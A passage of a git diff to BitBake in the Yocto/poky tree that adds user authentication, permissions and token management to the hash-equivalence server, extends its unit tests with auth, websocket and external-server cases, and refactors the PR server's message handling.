+ "permissions": " ".join(permissions),
+ },
+ )
+ self.db.commit()
+ return cursor.rowcount != 0
+
+ async def get_all_users(self):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute("SELECT username, permissions FROM users")
+ return [map_user(r) for r in cursor.fetchall()]
+
+ async def new_user(self, username, permissions, token):
+ with closing(self.db.cursor()) as cursor:
+ try:
+ cursor.execute(
+ """
+ INSERT INTO users (username, token, permissions) VALUES (:username, :token, :permissions)
+ """,
+ {
+ "username": username,
+ "token": token,
+ "permissions": " ".join(permissions),
+ },
+ )
+ self.db.commit()
+ return True
+ except sqlite3.IntegrityError:
+ return False
+
+ async def delete_user(self, username):
+ with closing(self.db.cursor()) as cursor:
+ cursor.execute(
+ """
+ DELETE FROM users WHERE username=:username
+ """,
+ {
+ "username": username,
+ },
+ )
+ self.db.commit()
+ return cursor.rowcount != 0
+
+ async def get_usage(self):
+ usage = {}
+ with closing(self.db.cursor()) as cursor:
+ if self.sqlite_version >= (3, 33):
+ table_name = "sqlite_schema"
+ else:
+ table_name = "sqlite_master"
+
+ cursor.execute(
+ f"""
+ SELECT name FROM {table_name} WHERE type = 'table' AND name NOT LIKE 'sqlite_%'
+ """
+ )
+ for row in cursor.fetchall():
+ cursor.execute(
+ """
+ SELECT COUNT() FROM %s
+ """
+ % row["name"],
+ )
+ usage[row["name"]] = {
+ "rows": cursor.fetchone()[0],
+ }
+ return usage
+
+ async def get_query_columns(self):
+ columns = set()
+ for name, typ, _ in UNIHASH_TABLE_DEFINITION + OUTHASH_TABLE_DEFINITION:
+ if typ.startswith("TEXT"):
+ columns.add(name)
+ return list(columns)
diff --git a/poky/bitbake/lib/hashserv/tests.py b/poky/bitbake/lib/hashserv/tests.py
index f343c586b5..a9e6fdf9ff 100644
--- a/poky/bitbake/lib/hashserv/tests.py
+++ b/poky/bitbake/lib/hashserv/tests.py
@@ -6,6 +6,8 @@
#
from . import create_server, create_client
+from .server import DEFAULT_ANON_PERMS, ALL_PERMISSIONS
+from bb.asyncrpc import InvokeError
import hashlib
import logging
import multiprocessing
@@ -17,6 +19,14 @@ import unittest
import socket
import time
import signal
+import subprocess
+import json
+import re
+from pathlib import Path
+
+
+THIS_DIR = Path(__file__).parent
+BIN_DIR = THIS_DIR.parent.parent / "bin"
def server_prefunc(server, idx):
logging.basicConfig(level=logging.DEBUG, filename='bbhashserv-%d.log' % idx, filemode='w',
@@ -29,11 +39,12 @@ class HashEquivalenceTestSetup(object):
METHOD = 'TestMethod'
server_index = 0
+ client_index = 0
- def start_server(self, dbpath=None, upstream=None, read_only=False, prefunc=server_prefunc):
+ def start_server(self, dbpath=None, upstream=None, read_only=False, prefunc=server_prefunc, anon_perms=DEFAULT_ANON_PERMS, admin_username=None, admin_password=None):
self.server_index += 1
if dbpath is None:
- dbpath = os.path.join(self.temp_dir.name, "db%d.sqlite" % self.server_index)
+ dbpath = self.make_dbpath()
def cleanup_server(server):
if server.process.exitcode is not None:
@@ -45,19 +56,41 @@ class HashEquivalenceTestSetup(object):
server = create_server(self.get_server_addr(self.server_index),
dbpath,
upstream=upstream,
- read_only=read_only)
+ read_only=read_only,
+ anon_perms=anon_perms,
+ admin_username=admin_username,
+ admin_password=admin_password)
server.dbpath = dbpath
server.serve_as_process(prefunc=prefunc, args=(self.server_index,))
self.addCleanup(cleanup_server, server)
+ return server
+
+ def make_dbpath(self):
+ return os.path.join(self.temp_dir.name, "db%d.sqlite" % self.server_index)
+
+ def start_client(self, server_address, username=None, password=None):
def cleanup_client(client):
client.close()
- client = create_client(server.address)
+ client = create_client(server_address, username=username, password=password)
self.addCleanup(cleanup_client, client)
- return (client, server)
+ return client
+
+ def start_test_server(self):
+ self.server = self.start_server()
+ return self.server.address
+
+ def start_auth_server(self):
+ auth_server = self.start_server(self.server.dbpath, anon_perms=[], admin_username="admin", admin_password="password")
+ self.auth_server_address = auth_server.address
+ self.admin_client = self.start_client(auth_server.address, username="admin", password="password")
+ return self.admin_client
+
+ def auth_client(self, user):
+ return self.start_client(self.auth_server_address, user["username"], user["token"])
def setUp(self):
if sys.version_info < (3, 5, 0):
@@ -66,26 +99,83 @@ class HashEquivalenceTestSetup(object):
self.temp_dir = tempfile.TemporaryDirectory(prefix='bb-hashserv')
self.addCleanup(self.temp_dir.cleanup)
- (self.client, self.server) = self.start_server()
+ self.server_address = self.start_test_server()
+
+ self.client = self.start_client(self.server_address)
def assertClientGetHash(self, client, taskhash, unihash):
result = client.get_unihash(self.METHOD, taskhash)
self.assertEqual(result, unihash)
+ def assertUserPerms(self, user, permissions):
+ with self.auth_client(user) as client:
+ info = client.get_user()
+ self.assertEqual(info, {
+ "username": user["username"],
+ "permissions": permissions,
+ })
-class HashEquivalenceCommonTests(object):
- def test_create_hash(self):
+ def assertUserCanAuth(self, user):
+ with self.start_client(self.auth_server_address) as client:
+ client.auth(user["username"], user["token"])
+
+ def assertUserCannotAuth(self, user):
+ with self.start_client(self.auth_server_address) as client, self.assertRaises(InvokeError):
+ client.auth(user["username"], user["token"])
+
+ def create_test_hash(self, client):
# Simple test that hashes can be created
taskhash = '35788efcb8dfb0a02659d81cf2bfd695fb30faf9'
outhash = '2765d4a5884be49b28601445c2760c5f21e7e5c0ee2b7e3fce98fd7e5970796f'
unihash = 'f46d3fbb439bd9b921095da657a4de906510d2cd'
- self.assertClientGetHash(self.client, taskhash, None)
+ self.assertClientGetHash(client, taskhash, None)
- result = self.client.report_unihash(taskhash, self.METHOD, outhash, unihash)
+ result = client.report_unihash(taskhash, self.METHOD, outhash, unihash)
self.assertEqual(result['unihash'], unihash, 'Server returned bad unihash')
return taskhash, outhash, unihash
+ def run_hashclient(self, args, **kwargs):
+ try:
+ p = subprocess.run(
+ [BIN_DIR / "bitbake-hashclient"] + args,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.STDOUT,
+ encoding="utf-8",
+ **kwargs
+ )
+ except subprocess.CalledProcessError as e:
+ print(e.output)
+ raise e
+
+ print(p.stdout)
+ return p
+
+
+class HashEquivalenceCommonTests(object):
+ def auth_perms(self, *permissions):
+ self.client_index += 1
+ user = self.create_user(f"user-{self.client_index}", permissions)
+ return self.auth_client(user)
+
+ def create_user(self, username, permissions, *, client=None):
+ def remove_user(username):
+ try:
+ self.admin_client.delete_user(username)
+ except bb.asyncrpc.InvokeError:
+ pass
+
+ if client is None:
+ client = self.admin_client
+
+ user = client.new_user(username, permissions)
+ self.addCleanup(remove_user, username)
+
+ return user
+
+ def test_create_hash(self):
+ return self.create_test_hash(self.client)
+
def test_create_equivalent(self):
# Tests that a second reported task with the same outhash will be
# assigned the same unihash
@@ -127,7 +217,7 @@ class HashEquivalenceCommonTests(object):
self.assertClientGetHash(self.client, taskhash, unihash)
def test_remove_taskhash(self):
- taskhash, outhash, unihash = self.test_create_hash()
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
result = self.client.remove({"taskhash": taskhash})
self.assertGreater(result["count"], 0)
self.assertClientGetHash(self.client, taskhash, None)
@@ -136,13 +226,13 @@ class HashEquivalenceCommonTests(object):
self.assertIsNone(result_outhash)
def test_remove_unihash(self):
- taskhash, outhash, unihash = self.test_create_hash()
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
result = self.client.remove({"unihash": unihash})
self.assertGreater(result["count"], 0)
self.assertClientGetHash(self.client, taskhash, None)
def test_remove_outhash(self):
- taskhash, outhash, unihash = self.test_create_hash()
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
result = self.client.remove({"outhash": outhash})
self.assertGreater(result["count"], 0)
@@ -150,7 +240,7 @@ class HashEquivalenceCommonTests(object):
self.assertIsNone(result_outhash)
def test_remove_method(self):
- taskhash, outhash, unihash = self.test_create_hash()
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
result = self.client.remove({"method": self.METHOD})
self.assertGreater(result["count"], 0)
self.assertClientGetHash(self.client, taskhash, None)
@@ -159,7 +249,7 @@ class HashEquivalenceCommonTests(object):
self.assertIsNone(result_outhash)
def test_clean_unused(self):
- taskhash, outhash, unihash = self.test_create_hash()
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
# Clean the database, which should not remove anything because all hashes an in-use
result = self.client.clean_unused(0)
@@ -206,7 +296,7 @@ class HashEquivalenceCommonTests(object):
def test_stress(self):
def query_server(failures):
- client = Client(self.server.address)
+ client = Client(self.server_address)
try:
for i in range(1000):
taskhash = hashlib.sha256()
@@ -245,8 +335,10 @@ class HashEquivalenceCommonTests(object):
# the side client. It also verifies that the results are pulled into
# the downstream database by checking that the downstream and side servers
# match after the downstream is done waiting for all backfill tasks
- (down_client, down_server) = self.start_server(upstream=self.server.address)
- (side_client, side_server) = self.start_server(dbpath=down_server.dbpath)
+ down_server = self.start_server(upstream=self.server_address)
+ down_client = self.start_client(down_server.address)
+ side_server = self.start_server(dbpath=down_server.dbpath)
+ side_client = self.start_client(side_server.address)
def check_hash(taskhash, unihash, old_sidehash):
nonlocal down_client
@@ -351,14 +443,18 @@ class HashEquivalenceCommonTests(object):
self.assertEqual(result['method'], self.METHOD)
def test_ro_server(self):
- (ro_client, ro_server) = self.start_server(dbpath=self.server.dbpath, read_only=True)
+ rw_server = self.start_server()
+ rw_client = self.start_client(rw_server.address)
+
+ ro_server = self.start_server(dbpath=rw_server.dbpath, read_only=True)
+ ro_client = self.start_client(ro_server.address)
# Report a hash via the read-write server
taskhash = '35788efcb8dfb0a02659d81cf2bfd695fb30faf9'
outhash = '2765d4a5884be49b28601445c2760c5f21e7e5c0ee2b7e3fce98fd7e5970796f'
unihash = 'f46d3fbb439bd9b921095da657a4de906510d2cd'
- result = self.client.report_unihash(taskhash, self.METHOD, outhash, unihash)
+ result = rw_client.report_unihash(taskhash, self.METHOD, outhash, unihash)
self.assertEqual(result['unihash'], unihash, 'Server returned bad unihash')
# Check the hash via the read-only server
@@ -369,11 +465,11 @@ class HashEquivalenceCommonTests(object):
outhash2 = '3c979c3db45c569f51ab7626a4651074be3a9d11a84b1db076f5b14f7d39db44'
unihash2 = '90e9bc1d1f094c51824adca7f8ea79a048d68824'
- with self.assertRaises(ConnectionError):
- ro_client.report_unihash(taskhash2, self.METHOD, outhash2, unihash2)
+ result = ro_client.report_unihash(taskhash2, self.METHOD, outhash2, unihash2)
+ self.assertEqual(result['unihash'], unihash2)
# Ensure that the database was not modified
- self.assertClientGetHash(self.client, taskhash2, None)
+ self.assertClientGetHash(rw_client, taskhash2, None)
def test_slow_server_start(self):
@@ -393,7 +489,7 @@ class HashEquivalenceCommonTests(object):
old_signal = signal.signal(signal.SIGTERM, do_nothing)
self.addCleanup(signal.signal, signal.SIGTERM, old_signal)
- _, server = self.start_server(prefunc=prefunc)
+ server = self.start_server(prefunc=prefunc)
server.process.terminate()
time.sleep(30)
event.set()
@@ -453,6 +549,524 @@ class HashEquivalenceCommonTests(object):
# shares a taskhash with Task 2
self.assertClientGetHash(self.client, taskhash2, unihash2)
+ def test_auth_read_perms(self):
+ admin_client = self.start_auth_server()
+
+ # Create hashes with non-authenticated server
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
+
+ # Validate hash can be retrieved using authenticated client
+ with self.auth_perms("@read") as client:
+ self.assertClientGetHash(client, taskhash, unihash)
+
+ with self.auth_perms() as client, self.assertRaises(InvokeError):
+ self.assertClientGetHash(client, taskhash, unihash)
+
+ def test_auth_report_perms(self):
+ admin_client = self.start_auth_server()
+
+ # Without read permission, the user is completely denied
+ with self.auth_perms() as client, self.assertRaises(InvokeError):
+ self.create_test_hash(client)
+
+ # Read permission allows the call to succeed, but it doesn't record
+ # anythin in the database
+ with self.auth_perms("@read") as client:
+ taskhash, outhash, unihash = self.create_test_hash(client)
+ self.assertClientGetHash(client, taskhash, None)
+
+ # Report permission alone is insufficient
+ with self.auth_perms("@report") as client, self.assertRaises(InvokeError):
+ self.create_test_hash(client)
+
+ # Read and report permission actually modify the database
+ with self.auth_perms("@read", "@report") as client:
+ taskhash, outhash, unihash = self.create_test_hash(client)
+ self.assertClientGetHash(client, taskhash, unihash)
+
+ def test_auth_no_token_refresh_from_anon_user(self):
+ self.start_auth_server()
+
+ with self.start_client(self.auth_server_address) as client, self.assertRaises(InvokeError):
+ client.refresh_token()
+
+ def test_auth_self_token_refresh(self):
+ admin_client = self.start_auth_server()
+
+ # Create a new user with no permissions
+ user = self.create_user("test-user", [])
+
+ with self.auth_client(user) as client:
+ new_user = client.refresh_token()
+
+ self.assertEqual(user["username"], new_user["username"])
+ self.assertNotEqual(user["token"], new_user["token"])
+ self.assertUserCanAuth(new_user)
+ self.assertUserCannotAuth(user)
+
+ # Explicitly specifying with your own username is fine also
+ with self.auth_client(new_user) as client:
+ new_user2 = client.refresh_token(user["username"])
+
+ self.assertEqual(user["username"], new_user2["username"])
+ self.assertNotEqual(user["token"], new_user2["token"])
+ self.assertUserCanAuth(new_user2)
+ self.assertUserCannotAuth(new_user)
+ self.assertUserCannotAuth(user)
+
+ def test_auth_token_refresh(self):
+ admin_client = self.start_auth_server()
+
+ user = self.create_user("test-user", [])
+
+ with self.auth_perms() as client, self.assertRaises(InvokeError):
+ client.refresh_token(user["username"])
+
+ with self.auth_perms("@user-admin") as client:
+ new_user = client.refresh_token(user["username"])
+
+ self.assertEqual(user["username"], new_user["username"])
+ self.assertNotEqual(user["token"], new_user["token"])
+ self.assertUserCanAuth(new_user)
+ self.assertUserCannotAuth(user)
+
+ def test_auth_self_get_user(self):
+ admin_client = self.start_auth_server()
+
+ user = self.create_user("test-user", [])
+ user_info = user.copy()
+ del user_info["token"]
+
+ with self.auth_client(user) as client:
+ info = client.get_user()
+ self.assertEqual(info, user_info)
+
+ # Explicitly asking for your own username is fine also
+ info = client.get_user(user["username"])
+ self.assertEqual(info, user_info)
+
+ def test_auth_get_user(self):
+ admin_client = self.start_auth_server()
+
+ user = self.create_user("test-user", [])
+ user_info = user.copy()
+ del user_info["token"]
+
+ with self.auth_perms() as client, self.assertRaises(InvokeError):
+ client.get_user(user["username"])
+
+ with self.auth_perms("@user-admin") as client:
+ info = client.get_user(user["username"])
+ self.assertEqual(info, user_info)
+
+ info = client.get_user("nonexist-user")
+ self.assertIsNone(info)
+
+ def test_auth_reconnect(self):
+ admin_client = self.start_auth_server()
+
+ user = self.create_user("test-user", [])
+ user_info = user.copy()
+ del user_info["token"]
+
+ with self.auth_client(user) as client:
+ info = client.get_user()
+ self.assertEqual(info, user_info)
+
+ client.disconnect()
+
+ info = client.get_user()
+ self.assertEqual(info, user_info)
+
+ def test_auth_delete_user(self):
+ admin_client = self.start_auth_server()
+
+ user = self.create_user("test-user", [])
+
+ # self service
+ with self.auth_client(user) as client:
+ client.delete_user(user["username"])
+
+ self.assertIsNone(admin_client.get_user(user["username"]))
+ user = self.create_user("test-user", [])
+
+ with self.auth_perms() as client, self.assertRaises(InvokeError):
+ client.delete_user(user["username"])
+
+ with self.auth_perms("@user-admin") as client:
+ client.delete_user(user["username"])
+
+ # User doesn't exist, so even though the permission is correct, it's an
+ # error
+ with self.auth_perms("@user-admin") as client, self.assertRaises(InvokeError):
+ client.delete_user(user["username"])
+
+ def test_auth_set_user_perms(self):
+ admin_client = self.start_auth_server()
+
+ user = self.create_user("test-user", [])
+
+ self.assertUserPerms(user, [])
+
+ # No self service to change permissions
+ with self.auth_client(user) as client, self.assertRaises(InvokeError):
+ client.set_user_perms(user["username"], ["@all"])
+ self.assertUserPerms(user, [])
+
+ with self.auth_perms() as client, self.assertRaises(InvokeError):
+ client.set_user_perms(user["username"], ["@all"])
+ self.assertUserPerms(user, [])
+
+ with self.auth_perms("@user-admin") as client:
+ client.set_user_perms(user["username"], ["@all"])
+ self.assertUserPerms(user, sorted(list(ALL_PERMISSIONS)))
+
+ # Bad permissions
+ with self.auth_perms("@user-admin") as client, self.assertRaises(InvokeError):
+ client.set_user_perms(user["username"], ["@this-is-not-a-permission"])
+ self.assertUserPerms(user, sorted(list(ALL_PERMISSIONS)))
+
+ def test_auth_get_all_users(self):
+ admin_client = self.start_auth_server()
+
+ user = self.create_user("test-user", [])
+
+ with self.auth_client(user) as client, self.assertRaises(InvokeError):
+ client.get_all_users()
+
+ # Give the test user the correct permission
+ admin_client.set_user_perms(user["username"], ["@user-admin"])
+
+ with self.auth_client(user) as client:
+ all_users = client.get_all_users()
+
+ # Convert to a dictionary for easier comparison
+ all_users = {u["username"]: u for u in all_users}
+
+ self.assertEqual(all_users,
+ {
+ "admin": {
+ "username": "admin",
+ "permissions": sorted(list(ALL_PERMISSIONS)),
+ },
+ "test-user": {
+ "username": "test-user",
+ "permissions": ["@user-admin"],
+ }
+ }
+ )
+
+ def test_auth_new_user(self):
+ self.start_auth_server()
+
+ permissions = ["@read", "@report", "@db-admin", "@user-admin"]
+ permissions.sort()
+
+ with self.auth_perms() as client, self.assertRaises(InvokeError):
+ self.create_user("test-user", permissions, client=client)
+
+ with self.auth_perms("@user-admin") as client:
+ user = self.create_user("test-user", permissions, client=client)
+ self.assertIn("token", user)
+ self.assertEqual(user["username"], "test-user")
+ self.assertEqual(user["permissions"], permissions)
+
+ def test_auth_become_user(self):
+ admin_client = self.start_auth_server()
+
+ user = self.create_user("test-user", ["@read", "@report"])
+ user_info = user.copy()
+ del user_info["token"]
+
+ with self.auth_perms() as client, self.assertRaises(InvokeError):
+ client.become_user(user["username"])
+
+ with self.auth_perms("@user-admin") as client:
+ become = client.become_user(user["username"])
+ self.assertEqual(become, user_info)
+
+ info = client.get_user()
+ self.assertEqual(info, user_info)
+
+ # Verify become user is preserved across disconnect
+ client.disconnect()
+
+ info = client.get_user()
+ self.assertEqual(info, user_info)
+
+ # test-user doesn't have become_user permissions, so this should
+ # not work
+ with self.assertRaises(InvokeError):
+ client.become_user(user["username"])
+
+ # No self-service of become
+ with self.auth_client(user) as client, self.assertRaises(InvokeError):
+ client.become_user(user["username"])
+
+ # Give test user permissions to become
+ admin_client.set_user_perms(user["username"], ["@user-admin"])
+
+ # It's possible to become yourself (effectively a noop)
+ with self.auth_perms("@user-admin") as client:
+ become = client.become_user(client.username)
+
+ def test_get_db_usage(self):
+ usage = self.client.get_db_usage()
+
+ self.assertTrue(isinstance(usage, dict))
+ for name in usage.keys():
+ self.assertTrue(isinstance(usage[name], dict))
+ self.assertIn("rows", usage[name])
+ self.assertTrue(isinstance(usage[name]["rows"], int))
+
+ def test_get_db_query_columns(self):
+ columns = self.client.get_db_query_columns()
+
+ self.assertTrue(isinstance(columns, list))
+ self.assertTrue(len(columns) > 0)
+
+ for col in columns:
+ self.client.remove({col: ""})
+
+ def test_auth_is_owner(self):
+ admin_client = self.start_auth_server()
+
+ user = self.create_user("test-user", ["@read", "@report"])
+ with self.auth_client(user) as client:
+ taskhash, outhash, unihash = self.create_test_hash(client)
+ data = client.get_taskhash(self.METHOD, taskhash, True)
+ self.assertEqual(data["owner"], user["username"])
+
+
+class TestHashEquivalenceClient(HashEquivalenceTestSetup, unittest.TestCase):
+ def get_server_addr(self, server_idx):
+ return "unix://" + os.path.join(self.temp_dir.name, 'sock%d' % server_idx)
+
+ def test_stats(self):
+ p = self.run_hashclient(["--address", self.server_address, "stats"], check=True)
+ json.loads(p.stdout)
+
+ def test_stress(self):
+ self.run_hashclient(["--address", self.server_address, "stress"], check=True)
+
+ def test_remove_taskhash(self):
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
+ self.run_hashclient([
+ "--address", self.server_address,
+ "remove",
+ "--where", "taskhash", taskhash,
+ ], check=True)
+ self.assertClientGetHash(self.client, taskhash, None)
+
+ result_outhash = self.client.get_outhash(self.METHOD, outhash, taskhash)
+ self.assertIsNone(result_outhash)
+
+ def test_remove_unihash(self):
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
+ self.run_hashclient([
+ "--address", self.server_address,
+ "remove",
+ "--where", "unihash", unihash,
+ ], check=True)
+ self.assertClientGetHash(self.client, taskhash, None)
+
+ def test_remove_outhash(self):
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
+ self.run_hashclient([
+ "--address", self.server_address,
+ "remove",
+ "--where", "outhash", outhash,
+ ], check=True)
+
+ result_outhash = self.client.get_outhash(self.METHOD, outhash, taskhash)
+ self.assertIsNone(result_outhash)
+
+ def test_remove_method(self):
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
+ self.run_hashclient([
+ "--address", self.server_address,
+ "remove",
+ "--where", "method", self.METHOD,
+ ], check=True)
+ self.assertClientGetHash(self.client, taskhash, None)
+
+ result_outhash = self.client.get_outhash(self.METHOD, outhash, taskhash)
+ self.assertIsNone(result_outhash)
+
+ def test_clean_unused(self):
+ taskhash, outhash, unihash = self.create_test_hash(self.client)
+
+ # Clean the database, which should not remove anything because all hashes an in-use
+ self.run_hashclient([
+ "--address", self.server_address,
+ "clean-unused", "0",
+ ], check=True)
+ self.assertClientGetHash(self.client, taskhash, unihash)
+
+ # Remove the unihash. The row in the outhash table should still be present
+ self.run_hashclient([
+ "--address", self.server_address,
+ "remove",
+ "--where", "unihash", unihash,
+ ], check=True)
+ result_outhash = self.client.get_outhash(self.METHOD, outhash, taskhash, False)
+ self.assertIsNotNone(result_outhash)
+
+ # Now clean with no minimum age which will remove the outhash
+ self.run_hashclient([
+ "--address", self.server_address,
+ "clean-unused", "0",
+ ], check=True)
+ result_outhash = self.client.get_outhash(self.METHOD, outhash, taskhash, False)
+ self.assertIsNone(result_outhash)
+
+ def test_refresh_token(self):
+ admin_client = self.start_auth_server()
+
+ user = admin_client.new_user("test-user", ["@read", "@report"])
+
+ p = self.run_hashclient([
+ "--address", self.auth_server_address,
+ "--login", user["username"],
+ "--password", user["token"],
+ "refresh-token"
+ ], check=True)
+
+ new_token = None
+ for l in p.stdout.splitlines():
+ l = l.rstrip()
+ m = re.match(r'Token: +(.*)$', l)
+ if m is not None:
+ new_token = m.group(1)
+
+ self.assertTrue(new_token)
+
+ print("New token is %r" % new_token)
+
+ self.run_hashclient([
+ "--address", self.auth_server_address,
+ "--login", user["username"],
+ "--password", new_token,
+ "get-user"
+ ], check=True)
+
+ def test_set_user_perms(self):
+ admin_client = self.start_auth_server()
+
+ user = admin_client.new_user("test-user", ["@read"])
+
+ self.run_hashclient([
+ "--address", self.auth_server_address,
+ "--login", admin_client.username,
+ "--password", admin_client.password,
+ "set-user-perms",
+ "-u", user["username"],
+ "@read", "@report",
+ ], check=True)
+
+ new_user = admin_client.get_user(user["username"])
+
+ self.assertEqual(set(new_user["permissions"]), {"@read", "@report"})
+
+ def test_get_user(self):
+ admin_client = self.start_auth_server()
+
+ user = admin_client.new_user("test-user", ["@read"])
+
+ p = self.run_hashclient([
+ "--address", self.auth_server_address,
+ "--login", admin_client.username,
+ "--password", admin_client.password,
+ "get-user",
+ "-u", user["username"],
+ ], check=True)
+
+ self.assertIn("Username:", p.stdout)
+ self.assertIn("Permissions:", p.stdout)
+
+ p = self.run_hashclient([
+ "--address", self.auth_server_address,
+ "--login", user["username"],
+ "--password", user["token"],
+ "get-user",
+ ], check=True)
+
+ self.assertIn("Username:", p.stdout)
+ self.assertIn("Permissions:", p.stdout)
+
+ def test_get_all_users(self):
+ admin_client = self.start_auth_server()
+
+ admin_client.new_user("test-user1", ["@read"])
+ admin_client.new_user("test-user2", ["@read"])
+
+ p = self.run_hashclient([
+ "--address", self.auth_server_address,
+ "--login", admin_client.username,
+ "--password", admin_client.password,
+ "get-all-users",
+ ], check=True)
+
+ self.assertIn("admin", p.stdout)
+ self.assertIn("test-user1", p.stdout)
+ self.assertIn("test-user2", p.stdout)
+
+ def test_new_user(self):
+ admin_client = self.start_auth_server()
+
+ p = self.run_hashclient([
+ "--address", self.auth_server_address,
+ "--login", admin_client.username,
+ "--password", admin_client.password,
+ "new-user",
+ "-u", "test-user",
+ "@read", "@report",
+ ], check=True)
+
+ new_token = None
+ for l in p.stdout.splitlines():
+ l = l.rstrip()
+ m = re.match(r'Token: +(.*)$', l)
+ if m is not None:
+ new_token = m.group(1)
+
+ self.assertTrue(new_token)
+
+ user = {
+ "username": "test-user",
+ "token": new_token,
+ }
+
+ self.assertUserPerms(user, ["@read", "@report"])
+
+ def test_delete_user(self):
+ admin_client = self.start_auth_server()
+
+ user = admin_client.new_user("test-user", ["@read"])
+
+ p = self.run_hashclient([
+ "--address", self.auth_server_address,
+ "--login", admin_client.username,
+ "--password", admin_client.password,
+ "delete-user",
+ "-u", user["username"],
+ ], check=True)
+
+ self.assertIsNone(admin_client.get_user(user["username"]))
+
+ def test_get_db_usage(self):
+ p = self.run_hashclient([
+ "--address", self.server_address,
+ "get-db-usage",
+ ], check=True)
+
+ def test_get_db_query_columns(self):
+ p = self.run_hashclient([
+ "--address", self.server_address,
+ "get-db-query-columns",
+ ], check=True)
+
+
class TestHashEquivalenceUnixServer(HashEquivalenceTestSetup, HashEquivalenceCommonTests, unittest.TestCase):
def get_server_addr(self, server_idx):
return "unix://" + os.path.join(self.temp_dir.name, 'sock%d' % server_idx)
@@ -483,3 +1097,77 @@ class TestHashEquivalenceTCPServer(HashEquivalenceTestSetup, HashEquivalenceComm
# If IPv6 is enabled, it should be safe to use localhost directly, in general
# case it is more reliable to resolve the IP address explicitly.
return socket.gethostbyname("localhost") + ":0"
+
+
+class TestHashEquivalenceWebsocketServer(HashEquivalenceTestSetup, HashEquivalenceCommonTests, unittest.TestCase):
+ def setUp(self):
+ try:
+ import websockets
+ except ImportError as e:
+ self.skipTest(str(e))
+
+ super().setUp()
+
+ def get_server_addr(self, server_idx):
+ # Some hosts cause asyncio module to misbehave, when IPv6 is not enabled.
+ # If IPv6 is enabled, it should be safe to use localhost directly, in general
+ # case it is more reliable to resolve the IP address explicitly.
+ host = socket.gethostbyname("localhost")
+ return "ws://%s:0" % host
+
+
+class TestHashEquivalenceWebsocketsSQLAlchemyServer(TestHashEquivalenceWebsocketServer):
+ def setUp(self):
+ try:
+ import sqlalchemy
+ import aiosqlite
+ except ImportError as e:
+ self.skipTest(str(e))
+
+ super().setUp()
+
+ def make_dbpath(self):
+ return "sqlite+aiosqlite:///%s" % os.path.join(self.temp_dir.name, "db%d.sqlite" % self.server_index)
+
+
+class TestHashEquivalenceExternalServer(HashEquivalenceTestSetup, HashEquivalenceCommonTests, unittest.TestCase):
+ def get_env(self, name):
+ v = os.environ.get(name)
+ if not v:
+ self.skipTest(f'{name} not defined to test an external server')
+ return v
+
+ def start_test_server(self):
+ return self.get_env('BB_TEST_HASHSERV')
+
+ def start_server(self, *args, **kwargs):
+ self.skipTest('Cannot start local server when testing external servers')
+
+ def start_auth_server(self):
+
+ self.auth_server_address = self.server_address
+ self.admin_client = self.start_client(
+ self.server_address,
+ username=self.get_env('BB_TEST_HASHSERV_USERNAME'),
+ password=self.get_env('BB_TEST_HASHSERV_PASSWORD'),
+ )
+ return self.admin_client
+
+ def setUp(self):
+ super().setUp()
+ if "BB_TEST_HASHSERV_USERNAME" in os.environ:
+ self.client = self.start_client(
+ self.server_address,
+ username=os.environ["BB_TEST_HASHSERV_USERNAME"],
+ password=os.environ["BB_TEST_HASHSERV_PASSWORD"],
+ )
+ self.client.remove({"method": self.METHOD})
+
+ def tearDown(self):
+ self.client.remove({"method": self.METHOD})
+ super().tearDown()
+
+
+ def test_auth_get_all_users(self):
+ self.skipTest("Cannot test all users with external server")
+
diff --git a/poky/bitbake/lib/prserv/client.py b/poky/bitbake/lib/prserv/client.py
index 69ab7a4ac9..6b81356fac 100644
--- a/poky/bitbake/lib/prserv/client.py
+++ b/poky/bitbake/lib/prserv/client.py
@@ -14,28 +14,28 @@ class PRAsyncClient(bb.asyncrpc.AsyncClient):
super().__init__('PRSERVICE', '1.0', logger)
async def getPR(self, version, pkgarch, checksum):
- response = await self.send_message(
+ response = await self.invoke(
{'get-pr': {'version': version, 'pkgarch': pkgarch, 'checksum': checksum}}
)
if response:
return response['value']
async def importone(self, version, pkgarch, checksum, value):
- response = await self.send_message(
+ response = await self.invoke(
{'import-one': {'version': version, 'pkgarch': pkgarch, 'checksum': checksum, 'value': value}}
)
if response:
return response['value']
async def export(self, version, pkgarch, checksum, colinfo):
- response = await self.send_message(
+ response = await self.invoke(
{'export': {'version': version, 'pkgarch': pkgarch, 'checksum': checksum, 'colinfo': colinfo}}
)
if response:
return (response['metainfo'], response['datainfo'])
async def is_readonly(self):
- response = await self.send_message(
+ response = await self.invoke(
{'is-readonly': {}}
)
if response:
diff --git a/poky/bitbake/lib/prserv/serv.py b/poky/bitbake/lib/prserv/serv.py
index c686b2065c..62d3b5a01c 100644
--- a/poky/bitbake/lib/prserv/serv.py
+++ b/poky/bitbake/lib/prserv/serv.py
@@ -20,8 +20,8 @@ PIDPREFIX = "/tmp/PRServer_%s_%s.pid"
singleton = None
class PRServerClient(bb.asyncrpc.AsyncServerConnection):
- def __init__(self, reader, writer, table, read_only):
- super().__init__(reader, writer, 'PRSERVICE', logger)
+ def __init__(self, socket, table, read_only):
+ super().__init__(socket, 'PRSERVICE', logger)
self.handlers.update({
'get-pr': self.handle_get_pr,
'import-one': self.handle_import_one,
@@ -36,12 +36,12 @@ class PRServerClient(bb.asyncrpc.AsyncServerConnection):
async def dispatch_message(self, msg):
try:
- await super().dispatch_message(msg)
+ return await super().dispatch_message(msg)
except:
self.table.sync()
raise
-
- self.table.sync_if_dirty()
+ else:
+ self.table.sync_if_dirty()
async def handle_get_pr(self, request):
version = request['version']
@@ -57,7 +57,7 @@ class PRServerClient(bb.asyncrpc.AsyncServerConnection):
except sqlite3.Error as exc:
logger.error(str(exc))
- self.write_message(response)
+ return response
async def handle_import_one(self, request):
response = None
@@ -71,7 +71,7 @@ class PRServerClient(bb.asyncrpc.AsyncServerConnection):
if value is not None:
response = {'value': value}
- self.write_message(response)
+ return response
async def handle_export(self, request):
version = request['version']
